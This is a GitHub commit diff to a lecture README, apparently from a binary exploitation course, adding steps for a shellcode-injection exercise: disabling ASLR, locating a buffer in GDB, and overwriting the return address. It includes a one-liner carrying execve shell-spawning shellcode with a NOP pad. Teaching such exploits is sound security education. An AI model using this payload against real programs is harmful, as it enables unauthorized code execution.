Skip to content

Commit

Permalink
Update lecture 2 readme
Browse files Browse the repository at this point in the history
  • Loading branch information
rosehgal committed May 3, 2018
1 parent c5116e2 commit 8af80df
Showing 1 changed file with 10 additions and 1 deletion.
11 changes: 10 additions & 1 deletion Lecture2/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -232,6 +232,15 @@ Segmentation fault (core dumped)

:smile: we exploited the buffer overflow.

#### Try to solve exploit_me_2.c :smile:
#### Try to solve exploit\_me\_2.c `Shellcode injection` :smile:
* Diable ASLR.
* Find the starting address of the buffer using GDB.
* Over flow stack in such a way that return address is starting address of the
buffer.
* The buffer should contain the shellcode.
The exploit might look like this:
```bash
./second `python -c 'import struct;shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; bufferlen=108; print shellcode+"\x90"*(bufferlen-len(shellcode))+"BBBB"+struct.pack("<I", starting address of the buffer)'`
```


0 comments on commit 8af80df

Please sign in to comment.